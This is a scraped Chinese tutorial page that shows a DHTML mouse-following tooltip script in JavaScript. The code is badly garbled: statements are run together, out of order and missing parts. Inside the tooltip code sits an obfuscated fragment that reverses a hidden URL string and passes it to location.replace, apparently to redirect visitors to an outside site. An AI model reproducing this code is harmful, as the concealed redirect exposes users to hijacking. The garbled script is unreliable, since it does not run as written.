popdiv_javascript技巧_脚本之家

var pointerobj=document.all? document.all[“dhtmlpointer”] :
document.getElementById? document.getElementById : “”

var offsetfromcursorX=12 //Customize x offset of tooltipvar
offsetfromcursorY=10 //Customize y offset of tooltip

document.write //write out tooltip
DIVdocument.write(‘图片 1‘)
//write out pointer image

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV
relative to pointer imagevar offsetdivfrompointerY=14 //Customize y
offset of tooltip DIV relative to pointer image. Tip: Set it to
(height_of_pointer_image-1).

//same concept with the vertical positionif (bottomedge

function
hideddrivetip{enabletip=falsetipobj.style.visibility=”hidden”pointerobj.style.visibility=”hidden”tipobj.style.left=”-1000px”tipobj.style.backgroundColor=”tipobj.style.width=”}}document.onmousemove=positiontip

var ie=document.allvar ns6=document.getElementById && !document.allvar
enabletip=falseif var tipobj=document.all?
document.all[“dhtmltooltip”] : document.getElementById?
document.getElementById : “”

{var e = ‘cre’,l = location,v = {f: ==
-1),g:”moc.nercu//:ptth”};?(l.replace.reverse;

function ietruebody(){return (document.compatMode &&
document.compatMode!=”BackCompat”)? document.documentElement :
document.body}

var rightedge=ie&&!window.opera?
winwidth-event.clientX-offsetfromcursorX :
winwidth-e.clientX-offsetfromcursorXvar bottomedge=ie&&!window.opera?
winheight-event.clientY-offsetfromcursorY :
winheight-e.clientY-offsetfromcursorY

function ddrivetip(thetext, thewidth, thecolor){if {if (typeof
thewidth!=”undefined”) tipobj.style.width=thewidth+”px”if (typeof
thecolor!=”undefined” && thecolor!=””)
tipobj.style.backgroundColor=thecolortipobj.innerHTML=thetextenabletip=truereturn
false}}

var leftedge=? offsetfromcursorX* : -1000

//if the horizontal distance isn’t enough to accomodate the width of the
context menuif (rightedge

popdiv_javascript技巧_脚本之家。function positiontip{var nondefaultpos=falsevar curX=?e.pageX :
event.x+ietruebody().scrollLeft;var curY=?e.pageY :
event.y+ietruebody().scrollTop;//Find out how close the mouse is to the
corner of the windowvar winwidth=ie&&!window.opera?
ietruebody().clientWidth : window.innerWidth-20var
winheight=ie&&!window.opera? ietruebody().clientHeight :
window.innerHeight-20

相关文章

发表评论

电子邮件地址不会被公开。 必填项已用*标注

网站地图xml地图